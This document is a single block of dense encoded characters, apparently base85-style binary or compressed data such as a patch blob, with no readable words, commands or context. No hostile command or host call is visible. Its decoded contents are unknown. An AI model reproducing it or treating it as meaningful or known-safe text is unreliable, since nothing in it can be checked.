z(#+rk*vlzp^s~6Rwaq9u{&4%Ku}3IuY;*IV;4(lox?^l7vMnpCwnPA45(e=wC#&UE zhnKbtWobh!y-6hZRe-vRZ{~v*g!~jNE3CFt>nqKoJ&m1^B1^YTTNyL#>y8yd5%-qv zK_ubOihxBKnVLRHV~bfa7IuT_K}S!Au|@Eh>@W-K?Bb9dR5g=KEWSWOajPi;C`e4O zkVIR-OG>A=btDVfIUu|h=>Y3Wi3v>|NINo`8w0jScQ+B-82_@`)jm#ryk5tIw-Ugy zR5uTEgQ?xbF?HG8H-nzIOuD&c9&0PtO@b)s3AxP&SOmRIC+s0d7|~28)xpRtkdZ_d z^8$?$%zAfF+C)=R;xbr<o*Iz`OPnfU?sAX!q$%%xw$){4d~J}`XmCztkQOg@?m!JT zIm{?Si!u#dbT@TgH>}pRQjvDnszSQv9UyJCXlL<N`tDU!)7}Pl+|8W5z2KXPwDfbQ zrz5QEK@95ZF)xIRjO~ay$(KcyQ<<lHg(fpPvZZNpo)F3s2FVRGF8cAS3^5;(2|9XN z499HVfV4k?zn#hC>dtEGuy*vlLUmW(Se76pH`kJx&z0VGZ^LowCPl870--M2j<KHV z4B(|#&0!7+C%;0xY<$S+I5R}TIAE=(X%RQvhrSTPhy7wj2FF^}#T5W(f7k<nNimea zVv9VL0gCpfn8mpEV9tyghdgM}T@C?=dZPf^s}FcH>?|FUh-exrlMLhe>0&L$IT7Kx z9k}27@*kc<=a-Q$sJK2LezJAcxvE^YuahqeHp6yBxGPSK+G{uIeKB{+)9?MU9Mg^A zW|Iya?z^*{T#q=mpB^JFW~ImuvxVkWj{!G$y;1ErM|lq&LTq|2JTa1eBS?zV@~ka$ zx7|)1x&rrDc8l8MMwxaZ(`mSMP+;96^kV@BqqV?in%2aWl|mjaum{h9{+)QQp83yT zIT8qL+RF12trQK}W$CsFbIq}o>Vk@8SSQ}q!yLhSEMqjr5Nm$@45TgBdOj@ksQrLg zm8rYQMS2j4^u3j!CR)M}wv~E-v!H2$NK9^RBe@+DHnI&;PxvOk<kcL4J=b`^tMdfK zfE6d}tT{PLwBaWv;Dd|^NFDDN;WBo#;FN@^pfMmpn{90FtXu|b&h=|JQzERRl&GtE zZ});wviPgBwz}7a;U97LOgkrq4<!*WZBRUQu~nqTiyz<4;H?+BPN_#-aMGv{DX!zS zs551LU(F@ifNaxP6D~@HYCTe4pk{f2ng|m$L=V7B#k~VSbU>c^SIeMK%CO&C^CuYp zAA66zc=G<X23iR-pl0<tPgy;@Z^2)$iM`7aR3!dy(h>hQJ@LC|jpXynR!d<;w%r{u zNY3H1KdUXIhc*zCi{(H*ljSAMTFPFy6@C$=$U}24;qS98G-o)O?44Q3GK5UIq%!p0 zjN852MAA%>;)uS?eJ;Uw0Nia}&)7KD;xsB^F9{m`5_XM?Qh)|>K<_58%#dfi&Va5Z zN5yy*x;1{0DQR9~X&7&$j)BYcfiG;SkS1Vp6IbHZqU*JuPu*LwfSl|RRTrJUU|9p8 zfn_$mKXy5q+aSZ3X-yI>c&%Ef1h=E~Ntc0#SSUcV@}Vw`dtD_CM3ynQk2ad`*;%a% z(P`dom&;#slzz~#qy`TNm>({92av0-^OfdyU!)Ddb*YYYizJ#aRInvLOs>Gs$~#Yg zj8~{s&}F{SNu?Sf6(&8n(9t_5N=(~zIo=6FO%hu{Ja&03D1F4@%YVYm=ep#t+9QN9 zwF>$UhB+2~l(6Hb|3`xLT<luSaYSdkvYa?rh!MTtVS50}eQ<QwF_g^7=LjaUySvB^ zL+{m)i{odfJiQqf3w1BazMWBIPB#X9HsNC4#NBNL`cxJib#5HwOb_hGz)!0bf`K2H zqz5sFy5Jv~EYF$mJ_=3L49yZX0$vahC&Yc_<a}+SA?A7+S`}n>+a;PGCFcYaw!q@1 z-JhT+;PKMj7GMj0EDt06s5Ug_rXy+d60L5wPcsB*_jHey^WqImj{zs9`nMr%s?Rqb zc!b$IgKax*&rNipx#+hFf5hFU_nQ7l@_q-M=MTsh$=>2nW+UtOKCtai*8XBRSJgX| z7h%pn$SGu2`{+5n<NJHfMgKGnYL^T|&+f5_+_?6C<+)p+5#Ib8T$ulfKg!@GUiHMf z&%l;rmEzF@A_rI1w|;qSK12{D2{>rh(fjXRIG7g*b6#TUqocpduLymiK|ezYTt%3l z7v858ez~sqJcRIZ9G?tKmaK`u65X9@QZ!c>mLgcJ1A-rH4Xkr2wO09%(q<`EJ@dNZ z!%|7eyb1;&GZkL=+`QTvkp@+HxaFE(51&qPc%Zp)!*ltPTg)Shy~wk4SSih&vtq^1 ztj+51kLSNa+}kkZy7)jj6WFYhobRcoy|*+uMRy6(+wmO0>vxye06uGv6b`13%EQB; z3MC9@#T+P=T;U2yOh)7ZR-j8-Px({CGJ9?3QB(rk&7)$M-%^1!s`?Jdoeb-zs--iW zpC~1k=h^y8<(}lG#WN>x*ZXOd#7<08$$N8h;m-mL&gtFAUojPzqfI?>IcDchHy_)> zLwkZhNB}@11ECDol{7v(bs{-?%75H1Ke<gBw197~g=@m(?J$gC&ne@e;d)Hk^ttYO zFz%kXiaWmTSobPWDf1hQkRXUpaI5)R5Vw{huDctSwc>j4er6voD=%4s11Zzux$X|7 zf8}ud1A4AVuq4cd<Ya-Vo7e~Ef<Rlg^dKa2Hmc_gU2Dxoz0yM>NWu<_akB4q2>xud zlum^{|B)NNCckB>iA~U{9D{T=P4GnP1fo?voVD!X9_fE-#2SnWRA_WmP4q^^@Sn0< z@i@L<!{0a^-B^-+7|6Q2Vj91?d4aL!luWR$j+orAHKzkRzV&CNygyF9rA(gA_F3$d zn;T#3;&bH=mIJC?S5CwyN~&0}c`ZFeYlqB2s*vQ{B|Sa$RV5&QcZmeh&I0`AW5~YR z;Y?xxYjOq=u?+4<;*|TUoqI((^_S9?x0q0Kq8l0zZcH9vM{x&u_m+5CbW*f6&hw=` zB&4^XQTm+~E&>Z5t_s9$+hmfW;rn1rmSsFmTpk)nM4!1;N8*`~e|<Nn%!Rc0kgf{$ zSms0NL#kJET%Au`uyIr)6UkG;kht#vr3;`x>I>HH00(MA19k;1`Ab&#QH!0~rxS9Y zBSNC6k-(DlmUhwj>zXiC@kOS2?n(9fr>|S6bcoheu!1Dt_g++Dwa!@>!A5=R?x6-; zr&${w*Nily4~h=uY4v@aR9es8$uPIJzrn!3eDf#MZ|MGXaARiocEpZbbHv6-)CjLF zFV693-o(VUySOa>#bEcN^3s3D&f!rg{)t=njc=0#;QwDgs(>G&JSS?aW80uGaG~~z z+ESV*SS+~%Oo`om$}jqd0)9V&gLvAj@}+e(z8f2Zi`KzTA5FouW+9h()YPe4>K1=V zcA#R<7b?+M+F?D1Q8lfGJIL{ZK+8>#nhy34@?Blo`;6_VKLyuY^}jh=i#&nWv6lny z09#cz(88;O)aOk=v7^?<*RP@bcS~sI3LCV#w5qlSDSdCAz?^-Glu)c|YdnmZ5Vfl) z?;NaC&C2#znK&Wjg1yJR_t3a_f;H+~@xdLSGUeh6!L10i4F2cPxlQ-R$++TOx=jEr zok6o=0JUVAPa8TyF0oJGs+Ebnx1y3AqAtc$ejsA?cxMiD3B?h#bZv1vP<02$UOIzf z+v!dF3q`3ph3oH7CyWdVF!&yDv3rB2BEOvlZNAe#KRX{e9fO81p@HzOrp|npM@|bp z7F7?5jTQHiYK^vY(x_dZ@C#q5F3nWl0gmTxq4DzbVff#1MhRp#cLx}=yMne^l{y7B z-S9#i@85F6JidpJ=#OE?_3uF(xk-T5;m9@ZUqLf|0NHyOh5uk555YZ<_lJ6dbMuq2 z8M`^R?h<!^a8RhkeURk$#`^DrJzr6UcK~IC2DO_*xc1+jX{6jd(7l<zFK!4D60-N% zBu5rw(VO|9h6dEtp1icH7}Ktr4nc@Ck^#Js<`>(-ae#7G)h#w+_8CrVAsiQuRv+0y z4_$&fYV_CiplAQqDf!=UM#Meb5K>G<*2gYfzf*#xT7*>5qI`PtC}ZdY1Tugl-D%OQ zMDQkxa9`7Ntu7&tSiuXrnW4mTBovY`LP@O{nGRsCCj?taXh;-T?i7=6iwdQ(h&2Z) zIwm^ivl$Hh%r+=x$@F5Lz{sqPTYjEx{0z)SDvo^}xbDLFR1t<qac05S!_XH7aWb^c zXgxN?G<)tQxpi=Hk|g$UIgo1YteLQYTj|OB_HVe2=Fwrxcn>}-lbENSlE*0AlhEA2 z*w<fI9j}C|Y?x!#@Qy_{Vta{&uIwPs+2Bn-sY3RT0Mhg93mBXtxv=~Hp(czIl+0*q z$+<k9MR{HqsI|oU6>(rZ8L=i6^`{ZIXN?p?1?Rn`6U|GL&Y}AIr+NN68lHaNYLpk{ zj1}ip1##Cw6OlL{r~BtLC0k^!7BIxgGDf|58h_~OpG^cl=4;yc`py;pNeu--dA#5U z0)qk!OEGfyCF$?za1?E40*Pl-*}|%V1Bu_DO&zWV%v)Qh1}XlHBAqrvC)#!;?hRQt z?A~lkgifZSuxeq>WUfh{>6&}|{;fse(OzU`PAI5z)`>VR&RrWkr^&SywUfj}YWR<O za{tSg{CS1@KWE1u4w{?Ns=0=yvU$nupXBCS2P(t+P{X5tS_3Qedq(x-TKr9Y!Tnl; z-`_hdii|$y@k@JVR)$R7bo9K}KNeqezJOPdZ5IMFJ+48(t}RJZlgw|-g3BF-YfBF> zIivAr?xzfH7bW%6kWL?eb@)vg<4k=R=iNs*E`v5k#wH3wFBq!e%&8M=3$unXIzCKb zwr~iGYtu(IF6b#rcK}XJ>q+wfvfk&o6}p{-lRE(Q1Vg@H(RxQ#32zDa*u&PqnE;_p zT+6cgL2!?wF6lIi(R8YDiEv7%x4>LCna<(J&<fH7>rNS~Tz6mquxxjhH>#xA^-#bt z06s`Nv9`UEx1@cx|DkppRR=|7LrhMD5Fp1m{W~6#hb*(*DbLq<(6t{c=vxqoQr%+9 za7iaIpeQf(5$jC2?v*r$4AtDM-p=9B(h)X+t@~9WrwG$fAdfq&WgW1BkxQ75zIV)) z+{!#@PH|UkCy}qhd0YuJxKf$IjNQUHFHX`;!V*M?j2-DMn%|7&6*%A|N>>KCoh}_` z8`E@u&e^&&GrC~H!KAV7y=IO+$kE)hrKg6APD1d(Xu^CPxXz~?mSQ&fVXX_jXrV9j zlTh1Dtl<$%`M#}+pWhU_dyw2KaWn2Mmruo=@p8xC9<*ck;3KR)g7L2vjv=i<pKZVi zVnbSSA(lk|k}JiFVJ9eAd|x4Y{N_ZAQlEobsD<CAlq7=FQ^VM%W7o(vNLrSHPC%M1 z(b)(YKHTVSc2;_V8(x^gD_`aYPjO~z?94~6`FR=bgLV^r8YyE9XW*QY#a9V0hfW)g zWBE9jtaxLGOvzgCQ#^O*Hv8Ekr2Q2Znq8>Fgf>SQG9l`>e?%ab`3jm&#;(Jd)uZu8 zL?=8}5S##4x|8^B(sWOA_Nf@LOYL3?o>JwX2lXk3-7Y*-8BZG<olsv`t!Sw6T2AV? z9irmhvAF|i67!!dB;N+HQ5DCJR>oPFf69q&O;~qFqn(3eF&0h}aZOHQn!r_DnEq{{ z&3)llJ@7SFM23%Db6r-&Ga|1}*(YCP>~i1~(i31cvsAYHU{_D%gMP9SrFI9<K%8jG z(!-PbajP;dJ&+#6gz^tB&IqmzhHQCXcBK@2B28;5!8B~ridxb{o$ebob2o5W6WlkP zsC}$V5+(L>84JP@3z#f9gD;<1!UvEuza_OUPmciUd$eweVvIZY^$8Rc$WM?l^QX$# z&Qxg&+V%w62q4<;<*XMrh<!P&f!BCy={()PZ?+S`uF8sAw@{hMfFK3u>!sZw7*uTj z`a?kh$sHh2n2)Tcz#>jrXI7RpWS=J8d0q<z3$VPoF>CKICQ^_Dg4rG{gKzR(NEQ)) zURrLeBAhl>vV$aiw#xHWRrL<gaxHb^)y1{EgfZ{#I=Uy&N*OQVK%!F6iKL5zXBfz4 z&*kkj#bXH>kbFG_UXe~lbP<*L)SHW#JrA&U3@Z5MKx=B0v|LLI?opT}Lwru*Q_kY& zCbod+_GR%?{<%jn1teU-*;@*`Ji3%3!3@9-55k&764TdiIIXNS$UQ=ENPJ!>1GjZ@ zW4Sb|LB7-g^^P4u{uBaUQmumiUBN{sLhg{S%f1#bq#LzglxA}_ZKEc`ki5u1B<vI) zDf_-$p3IG3!Wh4&Q`Z;hyP+#Rgu@}mK~XL0XGpYWZYFf~$wYHvpN|8D6ATlzCxv?l zsF;WDb=sTGX0nrFe7nT*&W#Q?E>AZGHyE_;03N_t!%8V7lEP+CNe0=DSANO&XH>-Q z$q&kLJWvsI?56uX!pQ_}Ssb<?n4a5jr<|Z6R2*nF(=7Za*i7=NlN(z{xi50clZ$Zh zBRveJG5{m{($EO@1)oE>h6d?XVfBeSKmbbx^6_-B&8{u?6+caIclDE1dIJ?-j?OV{ zkTo=lo$>*+UoJJf2ijcGzuFl-Q8$1HFkF*5C+O`$X7*AfWfAKl!xM0W!s?=TX#MN} ziFvKZB8+FR0AsTv;y~vCwuh{~Qr4AN$#UICTnw$(IU5Qeoer;1wi|zkb<RLhmzUj* zGt`VzatD_d^qZhe#t{U&?-YuyCn}{Ezzxb4?{Tu%M<%M<W-VV7+qz6v1oSRc5XeZ( zVwLlb5L)OGPTK(Af!#1au4BH<*>w{;I(U3@YH_7EbbSp?1bfA6+%|oFj!0m>-1p6k zk~OPr%r=s(ze}My>23dV_R@v9O;9Fz0-27<QDS1KKs{BIZo_v-Nzk$GY@Zz!+DGc} zK8&C_ae%)8pqV0Mwd&bvUCPCI-0c;&SMlcUTUuxyc|ho!1C0~v7nykGD-Y*ghKlx< z*=qr=`J6<OLchM-uU(6V&C3`Go^+vPL6`5;55ylNPEqN&Q|J{uy0FLu0$^g*g*`X( z3Q~TuUy1aE!A`n$Hj}+8a|t5RHez)q1oj5++0~2HtFxxFJ%#T%U9Vl(cFXht84hfu zlAMU3B7kms{>@L6c=mI`c-?BEnS5myJry7HGQB^I={nm7?a!xtk@|J}gy3s_`t~;? zfp`}TPChQUkjUYq*<Ui1imIxn|5L&;elnNHDyZN$d;n<QM}hn&IZtq2{mhV94pH~c zWx6_zu{g>7-3rLRR~dQ#J@WA#-~vG#8nVE>eOfq<zYBZ-QM>?G#rim{`y`@)JhOhK z)Q2g@Ro;#OZ?-`DKG3cIuTlWQZN?^x%G=|nv*tgJ%>Qfx_}BZtu<9S@LozKZAt1tW zK5QPP=vOU9o>60E2+Y;k)Hz~RQw292e#sKco~<pMWDW|fPu=`M*TuD*#*Hqy`fbeP z)1<01Q>a==olnSKRqs7FVqdj&s)m^&yB(h!mch+U4+8%YM87W!|8B*sI>CoGIyvrY zHiN0<RkNAXjV}Ub5jAWg{fUS~PwI3BtCs5&u(n6_wlyBgAkLse*d_PLV>Q=5#u(O# zF|-h_Hc;?pO+cpELJMpC3*BIZ+aC6(wJt-ClR0?HdxaVgtpdqNm3!y)ryFAWm1`Oa zEY~wA#j8Y+g>I~Z+_Bdx8iTIXtv@{Go`#&p7)-aB?T9T33`$B>HOS<j3-0TL%H8JK zZL)@Te6(QcWurxbGwAjp_VO6A@}$4<xC1ofSKih)Ehmgv^D682nT<)1^gNCZI_i8` z1QEr1hTo0IPeFFx#qHPrh*{1KX<`Sh3P6aZo4w^IO)TlLhTWCr6ekMc(tIU>pKnkb zzd`(wO&#qc5w+$Z!k#0{@zvsZ{CjWHT5v0|m*MhQ;pBobgkguE7dS&0sT#XV8xy!= zxdkn%!ms3BJ}8cKp*>dYee|07b6F2^JdK%9j2qh~k#40BjyT|92Q(^YYf0wPFE$%1 z3e1nKR)EkMDvehU^&&PHC@lA62}aB0Nyf(2zVi%dvysgV>Tb7P^2He13o&nGD!c<= zqJ3AeaZzNgPpIDYuDTeWCn<GZI$AAh9o@Qdy#sL8CV9nXnC3k{)LhhAkPK6bM^<Ys z*+xe6>t4wLOGD3Z3Z`Qeb^+8y-+zIoVs!>yI5^T0d?xlkJiT~Lt=grMQkOi=_U;Za zi|#?&Z?p4dXiw0%q>n^pbVZ}I9P#>HI`mw~<Ll9+Y|AM!imKOJF3btmW-*hC%zF7P zsxh=Zi1bVjVSeAdr$KA<<TubjV3yTZC#xVr09J3vF5TD>K&Gd;dsgIq&9=ORfg#XZ zB&{lJ<%{`8(MJ+;K4FghJzel_Cxx}sIG=3O>G>B06VHmpG%Ci;Yu;)0A9Q|gRmU+l zW<-03>4+rS83k|kA%lyX>N#hAfC(BOz!8Rec==ZH6Z$ycLtTl7d#|CJa(2l{CStN{ zc45ycT2Q7n!6a93;9e$1Y`F*aBG8a(UKmWpyWWDL3Kzlu%6+9HI~;^jb9xTm!v*ik zX2zMmk2+Os65OZ!D4oyM=a9G>?>cX;A>lAN>3J;Z)pPjydfnRG1bm{G6G?;4B`Ir& z9c{qKAOw8nSYlZlU7H<~tFN_GF2y=+BHN6{Ow&8E-|o%%Ko^g=4voZKr=P6LP{K)Y zx3QEj5HiC;S$)NA6QE`M(ZBN!@R9SPS9Je|D@x#&#4IgNc08jTtnnzOt<Q^D0iJIs zY}hWU4?Bt~-<TuHHwO+;%sCTMP0G3ObPBA^yy3p8Ma1r|&H^(epT86%%9!y<R)R`8 zEeKqQ1W$r}0+01Jrgtb~NhVLq%Np+(f!`()Zy(u)WzbZMeNFl)-vR!hdrtwn<!32` zbJG69dEMu&GG){s){RM0&56`H5p_viJ9vH0j<3UFKbnP_X}%1kbz#ZXw52en!4!|Y z2-+|ypBM@;v{<Rt<521I5FPFyeN*0pU`y;OD3Q$7RG~V`on+P}4S`gK9ZpJfUwkok zaHUZZr9$dEY9v^H<8XL%7_yw%^tm2C$5N4JdF=S+#cp)Thcg4T%{A=}!_f-nU~3Cf z7a<+4H+t!DigeEJdkmgQ7t0{L#Dc@&6m%wDB!eXDW86fkKG;LEh$HSc((ipTBkb$6 znDov@>Pyk{IhIjtC$=<*ElLouWe?T>hhvF4*<rSDFpaVrF1uOM3zZSiOsJH!tUdcF z-qX;5n$o@YwG>CL>+QnASEvCZ<IcNBD7LMVx@BGPkGV%#9H?U5oV-(AXp((1>Ni@K z!!OpBdTW4B`_$spCTS`l6X|A<SRpM9MFhl%9L$owLz3^+;$bqvp{3D{DedtEOiP5j z>$8UyGgpFLr)om*Iv2oxVj;0*y*ygS__51FA<Nq_uL7Md*Rh+FH$d*g-9Dri)OW`= zC2PmuhMsw{;s8Y@?RFXW3>fU=P_o)i2A2^D5kp+|<-!=^6obA8;ItP8sjgD2Qe1`! zl5q_wqU$E_^i~sXg{+ciJ<?3h_S)A3eM`CRpHR;@5PBKUvTrBY!ZcgXQrPm;ph`d( zGjCY~1|~s$Bu7xKxQ3^E@qrB0BwXL43u7mi6pPvG?+Ax5G!YKIK_W18VN#Je&&@(B ztJUH2n)yZF!;`nGd<&k4QVjhfV>m%Z94ZH|etOoZJ3t5#&|8t{B$c7I?}0x`_AKHQ z3UscME}nB~eO^GhP{)EOe0F)3JuK><&yXJR=i{oss|Wdy-=S4jSlXl|%l1UqTkW<2 zI5|N9sbj_51G>`A1D--7WN-<VX;HSG<`(>Urrx^es?EUouQKM4<}wenmpKdQ(<!f* zldKhRbuHt4o6m;3dk8~MV1TCqFlAq}7h+svx`|8;+OPY@0WSJ8o3|h~F&b!5faRk$ zt607`LO6P;O<l2$9fgEC0y&9wE_fJL`C2kn>_?<aF3c$e=X=-iyAC#o0gO|R%!*@q zzw3$@EY3YYW1xbJ3)cj4lG7$XW5QP=CuEVA?xv3rfxtUoy43R(SUcgZ9nKAuPEkH_ z;io<qCnA3)mnX~zWK9mwoE`M13qZ<np&>2Ah2`YuAr+uWiimBIz*YWFgs}d6q~`uk z|L5r&@Q+0Pa62^F^>=grSbC_Ik`w(Q7#x@%9Xel=V5DTp+~hsJK7t-&0}R~(9x6fW zHYoX_C7&TF1I&-x1v_(cUcvihR90f!9j%XL*GkzW23UOb5Pt$+4vVoTx|NFVli!a- zNek~RW-JDEkdC^p538XYRm@wwPcEwq_(M8+j2r54p3nEnTVaKkbEgMs?CR_DOEy0v z5>Ov-W9AkWOuy=QI7C~kR~_DKiN#_1rO#PXfC-V*0$VIuY%`|o<{b1rPlJ^($~Yga zYNwn-O&UI~ZkzOZ-YWhC;xMB(rzvYrb5Oq`tZ*b%G0uz+hvsgOv$2(&Fa<i;$GqCV zj!p7i7lev&>wS+bE9lD?<y>k&V#-1u%~hhRs^Ww2$|302sCGfE@n=qgoE&;ZQ%D&X zC;`y#IV_*Ryti+oxRLT?NJS+Fra(VVHG2o}|8=L4?oG}z#09&CgMa`ad5hcoXW#F> zANc$G_XPS2pz8;o94<FgP=`t*y|so14}+}<8elp{IX3!s_4y9q{aM0yZCsVV_V(Ky zV3~O&`14-VEo=imYLt@V%3oVZ{^+8~CMWUiuPq3F^f35;4fIvmy3q$}S$AIwlnmBp z@=&2)`7`ss!C|L)`1eW1p^m9D=m|}jS0Q>Jmpj0ByszbO5_U71?7kG@-B-|@DHF+$ zAAYn9W~WO}`|<Fj+txpc%6|&${>K0XLkqJ0`X#48)OWu8k+dj&4dq~Yz-{!$ze?g* z$;02sY$3sK=J;!gZhX++s7H&V)o*0vK~HY3!(TNh<F6XU@{a)RsDC-tN2f^D*(=LW z0<PZn3Y7wV84yyg<s)FFJAD#XYK8M0%rJxz_(dmg8xxU~N%-H&X_D_++4*Y)@QH0( z4_c7wZq+y$;dGdPBnh)UV2#8ZQCtO`ter5d+X;8yF{Oz_y2X#Ip{<HkApZwzeyBB! zqbw$dWv%JbY?15-Uczyiw}&(q(zHriy{XIgsm^$wN3ev^oH#@uW}7cP)op+1{SQ+i znfkZ#Hu`^)mH(9a`R@pnRN`^W<FleWz&^BKV#VSx>-MDS=5*;=PH%)tNp@ZK<{Rj0 zx9L1yI1khSt$FZ*)^I$O7)Jhky$GJr;x?)_Ekc_$Ldz>YWc0>eP2K^{=0FGBdVpx< z3+Pcy&!yWdyIZ<&CjEUKXoMD89@0MI4EwLa?lJ#gZ2ad72n=|3V*y%a$2>kbH)7t= zq`P{Sk#eGYvv1s?a)3~jJ8LaSmyjb;2+WmXs;|O=q`}hd;pusCOcq!9LnfCJtU<}g z`c?bu8xA323Wi+@R#7V7Pl`)fAyqyvD?8$eDC^?!pSB^Qd6P-u>ginW-ntR_0axiO zO2&!Rs{)4%J#E(A>B1P+gxnCwoN`I9W9H?(tnd%!Ug@5D94CodCy2;xXuwlM;3E3d zJ*j~=NfswX=Bd2J98DfXRkFjOc}TSCUYs2!P6<!I$$+N0wgz^RQ+Tk&p{+G10V_qC z7|vQJ<sn$hW$v&jYMhw3HYVqS2N}D(g)rR#TCH=)vF-qdxL~19OKd_}H19HB4`gc2 z@BH)W<-&}sW_2TlDyl(SpR*yc>*l7RI1a>bTHYGqhKYVxTH@cRGW`B3(k@r(HC`=p zdaO(a!r^kd(58o~7{j1~xKhiq9L6j%g)DzOy-(4ptcS3Vv2m>0LeeL(g$|nI+xo8Y zq2LwKVA_B*xAl3W=1$t@7MVjI?K1_1=(wg>I2My!4jxLDmqDr{IIN2{_$OE9uk+5r z?f`s!$IBeT$KSNoZ_&qqqN4^!%CZr`EE&qRM}+hX#7EUI$=<`l1et~Goe?xZv~Vgp z(zPw#&8xLu_DzvPd3%uu1W&o{0ACC&_FZ!3+RKIX#Yqmzg_Qus_K5qWZX|vYb)lB- z;T_si{=l>p^_s(Xhe)dudj0bul_P@_h|oP9=aa`Z-?KtD!E7N>nL4~(Y#EN-bMmTX z<S~O%>WCuSulF&w;xoUAre$05Ip*)+=sw$E*NqB^7B)#4Od8hu^eCmB9QErNvz=GI zhx|cdX`~%<VPG3mZ*P{CLN1NVaZzxR9B{XYURJheazlC*6&KOj5Nbrnm-E9e);v{# zUqTrhq3#XN0*7P@W$cI&N}%Q@?UR=n@^4egQn8JoRWW`ln)nB-YgjMiuy0SrD<uR} zT93lzql>*|nfEIzMsH%bG0Xc6`ww<;4B%=+R5$&0tQOSDMk&VPw~CY(xm-A^6VA#= zN3mdpKa(QD1y%i80NA`=Fuu9B2uR&uHfmuQvVJWcWcL<;^sn&garYJhk6#Nwa4Jra z{{2PZUxWRNjoklr0z!YZ0WF(_ZgssL312jA7C?Oy$&B>WG6hk)3+Sg^&PFnZ5^g=4 zZjP-48DRejFX8a6_3Je1#)?=@n5W7uCby+gfPqcal!+XxDbbJQFgsl@J0>O)79{Lm zqt8!n+1UEYP<1-gKSo4M?jroA72o75Ur~Tsmym#`RxLAXQOK*8`VuSM{)T@q$M2Y1 zeAzVU5P2|FI$Wuyk%_X!PT<Av;2uYE!_5Qats4(e%fs6y@^i!|$@HUZ1hhPTy!aV> zgmo%wA*-94>ziR##>Lvm>eTs9Xe{AhWG|c45c~QhXF4M0@bqfA!x#q<zy5YoQ&CwG z+q%eIbvV}-MZ`(k<z#^2Bk9p0k@iODwtK?)>f*%M^)&xw5U>?FvyDmmt+8+JoWsx) z%g^5~j~_OKLJwlOx6ZX*>Yi~ev`@(pxfjvYV%N{Fq9#V2!)Xw-$AjjmOTAvrJWga| zl^eaNp{4*1dcM{WSrL0MZ|xTU?sPWOwJ%pIEAty`UbMeD3kudZ$k7rHM&7dZu8L;B zp5EJM*696w*mK;DSjn$M72(s^rRiyrH;Wi9LNADU$%IDs=ak^ogD^{88hsqH4`OHM z3s2ZH_3r5sR&fz~G^;tcRi%Cwu`sjv3RS&2Y{$a^je|wggao)|;$`J`E~^wKV#dts zv{P!u2eL+s-JuB$Tj*;rfzLw?<4yLQd_#`O2HaJXEPXg%oX^8SQ~8-{4;8|Q&S?A% ze34zN-*?=!jagI=jjoW|G%}6?cMWP2UX_I{zPaFRSb>isbp_iy>?-TJ2P;70k!)Rp zEljHctzbPSi1&A1Uyq>*M=p1S6G&!h)d5^<;S`Q;eg{?NXJ&Is;}~hwZWOKe!hQ<+ zFbc?HZ~F>@H6T^Ki?V@KF?64(1zOtY*gXhMY|I-_p?L}I+LNelxg5G8+o`^@BLCh` zQbg-c$%)75`}(CNH9@mS>Qz<AHXaUgj=4ioKHl;Q!WyiG%d}%BBX6o&Upv=<_xQ~o z;)gB?%sy`w%{(-wM?@5{S}gw}b0Xp@B0r`4=(W!y85(4!{;x%KmWB*ZF{w8sJ716L zJwC!%9}w#j6wRQ$w#@H(s5xjDHCQb%h(!E;;7rB<hJQ0?7<%j?T>fxTVK+hV19|+w zX;y2t>mI!@nlIP44kv<SgxI|??NY(Sr$Z`r1pbeP%QN<#O75PUQgVb~G|2Jken;8H znMdc`o06-nF2#QgJ7cRRw|<zQ_cSr(nUusIH5TkpMK5kzb0Hw39xGy-99`9_2w0Ei zY@;15C=o$Yb_&W$cb|JPRcKsOF+L*P^OB0uT#4>F0s)Rp$CAR0Wa2d@#=@58!uoD< z8sf};GGBFoweo(9ViWayLU@=K^q~It&1bQfYB3?&^@Jr&SHO&lPyDn=LDfeH`%UA( zEd_CF<6IDqWoai^w8AR)s*<Btk=U}$U^9^nGfTwf8~wPByqxyJ=eVMh8Wo0BF*kv& zp%?2cZ^`D`XJy9OSocR;_VhBq!!|M5z?l}~D$A{@?^$Elu(fY%tNPy1Rms+{tp*r! zSS%bRWxk}|R-ogww|AQKA6<PbWw$v1{lJX=?IpLz5okyQx_=9mlAr|td?0(XbObGq z+0RfKd4ls#dW&kc7Y}UgGVR_(B#lk^fe;VwkK_Akfl+@o!4|)4byyIB%#Wt`aR>Y# ze9QA8_q=F_=i~9mLKot1RaJaKz<738gjo-_SB_G!72i_EA*dJEGWb<FR_do?v<cd{ z$;16fEX4Nh!G6sr8J|z)uG`W;@(1cEc{4f-&vM^sP0UcoE3kGBHKIf%eg?g8zGWI^ z{eOsi%jh_gq;0fiF<H!LsckV@%(5)DEV3AEF}9eQnb|^%nc0%X%uFq`n3-X2d*7WI z&+d5N{m%W)y+3r6Rn?tUT^Sh}8S%su2^<+8D}xP$fripuT6-?c{TsxjW+{nnVs!4@ zc8~8w*^4wwViv)-E!G*wl}P=*snH9Nn5@4;-gG8U6mZ8^0tIyUX?y5?<>q)__U-|q zNZh}FoP`8?VfF>rC@1SQ1+S*d1`QE;-3zU;u)K&e;<m#G(+5@Rr@p+NGiA|wi(eRn z*jYeXC%mu86!d^*|0=~}K`-YT3#<kPlBx>9us+jx>BZ-;p0B=h;fW@Y@mS0-y)bHD zIJouhq<fS0!COd)zRQXy#yLCtskPW=huzKEfGJq8s`R*YE0_TSbKT<YrhDE4D2AFW zvytebl@aOX5e*2mEzT>(*(_~D`VFApAc?3qE<PM~Z&*>n2k)s%fmlvU1mchpn2|8Q z;?oIw(a$Kt-1|uoDMT<(kv*Xib*5%gvZx(fOqN!RC9WTyRq9~=Vv)a6{PL!C%*=Ct z@CgwjwH+GSk(4}-At_#j=$7ctUa4-)=Y5nB-;2ObJ&1fF1;*DZEDM7mdTWubCBQ7~ z7zfUKZUSg%_TcYKFni0C{#lKu_z|4mx=z{k@p>>UygrCtz%Uenr&QfE$5n2|OX+^F zLXf()EQoE~J@&e_5!$pQ<phfIKED)ccJ^-eA$X=&2`$L(KIOW?SG6wTj8z1jJ5UoE z(I{ub@-DDz!C*j>k8m@!*t{uUzeyPbO}YJ69KO^Ry6t+xDP~2vX*PKmw3V#7mP|tw zjO~@gdH{GPu*YaUtU~r&AN1<@eWH3i!-hn6GwyeJ?B|gU%xW)fXQ7b>+b-J?QEy2~ z%WBQsjb|NPQaN!4(<Vi@?C|#!;E9#re_mh0`Y_>H6Htj-^Gt*YIVJ8*cnm<01)5iq z_>4REWIJ%gA7|w=o2`sJb&MpsOad1))o{WaSrQw8_-H&|c4-hM1MO_rGyE5g&QZOV zK=Zxsx$G*b5@(%(_}xCXXLB>Hr=__Oxw##)Q7J?>xrv882MAH*_}iKN=0=pKg^Jyk zbxro4&S}-bbG<H>GQEBBp=e+5HMjZqQ)_QrZFS6Ya_cIgGGy_{CHbSHKaTLFI(zv* 